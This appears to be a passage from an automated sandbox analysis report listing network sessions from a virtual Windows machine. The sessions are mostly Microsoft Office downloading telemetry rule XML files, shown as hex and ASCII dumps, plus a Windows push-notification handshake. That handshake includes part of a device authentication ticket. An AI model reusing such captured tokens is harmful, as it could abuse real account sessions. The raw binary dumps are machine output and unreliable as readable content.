\|3hc,WM_Oji:V]^?vVN#v:__+kZtKMsXeo.n5_NwK:}Y&K;ZycTXwX\|Yi>T?>=)I&>zPyI&}:]j
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: ca f3 7d d5 85 8f f7 ff 00 bf 8a 97 5a f1 fb 6a 57 50 e9 f6 36 3e 55 bf dd 77 7f dd 2a 29 fb db b6 63 af b5 56 b8 d5 56 ca 0b e9 b4 bb 48 34 db 37 fd d3 fd 91 1b ca fb bb 7e 6d dc b2 d7 25 4a 92 94 9c 69 bd 18 f0 f5 b0 d3 a6 ea db 6e af fa d4 eb 2f 3c 4e ba 1f 87 e6 d1 6f ae e0 b7 b7 69 97 e4 b1 ff 00 9e 7d d2 47 3e a7 fb bf 9d 73 ff 00 db de 15 f3 26 6b 7b b4 dc d0 f9 56 f6 f6 90 34 bf 66 ff 00 a6 9d ce e6 fa d7 17 ad 6a 3a 45 d5 f7 f6 5f 9f 3d c4 db 15 9f cd 83 e5 76 ff 00 e2 73 d2 99 ff 00 08 ae b5 a7 6a ab 6f af 4f fd 8d 1d c2 2b 24 a8 8b f3 ae ef 95 4e ef ba 0d 65 0c 3d 57 ad 59 58 e4 c2 e2 2b d4 ae f9 2d 65 ae dd ce e9 bc 61 a8 5e c8 f6 3a 4e b5 03 47 17 fa 33 c3 76 ec de 77 ca fc b4 80 7c 8f e8 9d 6b 3a e1 e5 d1 3c 33 7d 71 e2 4f 10 c8 d1 d9 c2 b2 Data Ascii: }ZjWP6>Uw*)cVVH47~m%Jin/<Noi}G>s&k{V4fj:E_=vsjoO+$Ne=WYX+-ea^:NG3vw\|k:<3}qO
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 9b e1 af b2 da b2 7c f7 0f fb a5 db fd ec e7 96 ff 00 26 bc 8b c6 d7 32 e8 7f f1 2f b1 ff 00 8f 55 7d df 68 7b af c3 77 f9 ef 51 07 29 bd ee 63 98 7b 4a 76 8c 55 97 e2 65 78 ab c6 37 77 89 2c 7a 1e 9b 26 e8 1e 45 99 1d f6 ef f9 bb 7f b5 de b8 3d 53 51 d4 1e f9 1a e2 49 22 ba df ba 6d 9f 75 17 f8 7f e0 55 df 78 5f c2 1a be b1 6b 77 7d a4 e9 37 4d a3 dd 4c de 74 d2 ba ed f5 e0 f6 ac 3d 7b 47 d4 2c ad 6e 34 f6 b4 8d bc a7 5f 3a ee 1f de ac 2d bb e5 e4 1f c4 d7 a3 46 54 e1 a1 c5 43 0a ec e4 e3 a7 73 d2 34 5f 15 e9 5a 8f 81 ed fc 2f 79 a2 c0 d2 4a eb e4 cd 71 ff 00 2d bd 5f 8e 79 ae db 41 d0 20 8a d6 d1 7c 88 3f bb 14 33 6d 55 4f 5d b9 fb cb da bc cf fe 10 79 2d fc 61 a6 5d 4d e2 8d 1e 5d 2d ac 63 6f b5 c3 74 b1 49 6c dd 37 63 07 77 cd 5e 89 67 e2 0f 0f 5b c7 Data Ascii: \|&2/U}h{wQ)c{JvUex7w,z&E=SQI"muUx_kw}7MLt={G,n4_:-FTCs4_Z/yJq-_yA \|?3mUO]y-a]M]-cotIl7cw^g[

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065322Z-178bfbc474bscnbchC1NYCe7eg000000078g00000000656p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065322Z-174c587ffdfb485jhC1TEBmc1s00000005f0000000004hrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065322Z-174c587ffdftjz9shC1TEBsh9800000005cg00000000f470 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 3257c6a6-201e-005d-32b4-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065323Z-178bfbc474bnwsh4hC1NYC2ubs000000074000000000au82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4860472f-101e-0028-01d0-3e8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065323Z-178bfbc474b7cbwqhC1NYC8z4n000000074g0000000000hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49740	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 37 34 55 31 59 75 78 2f 6b 69 74 33 39 7a 43 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 33 39 62 31 33 61 38 63 62 30 61 32 33 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 274U1Yux/kit39zC.1Context: b839b13a8cb0a23b
2024-11-25 06:53:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 06:53:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 32 37 34 55 31 59 75 78 2f 6b 69 74 33 39 7a 43 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 33 39 62 31 33 61 38 63 62 30 61 32 33 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 274U1Yux/kit39zC.2Context: b839b13a8cb0a23b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-25 06:53:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 37 34 55 31 59 75 78 2f 6b 69 74 33 39 7a 43 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 33 39 62 31 33 61 38 63 62 30 61 32 33 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 274U1Yux/kit39zC.3Context: b839b13a8cb0a23b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 06:53:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 06:53:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 34 34 31 76 78 56 33 73 45 71 77 33 43 62 57 30 6c 58 45 70 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: R441vxV3sEqw3CbW0lXEpg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: c38a0343-101e-008e-38bf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065324Z-178bfbc474btvfdfhC1NYCa2en0000000790000000000xtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:24 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065325Z-15b8b599d88phfhnhC1TEBr51n00000005m000000000gybt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065325Z-174c587ffdfcb7qhhC1TEB3x7000000005p0000000009qss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
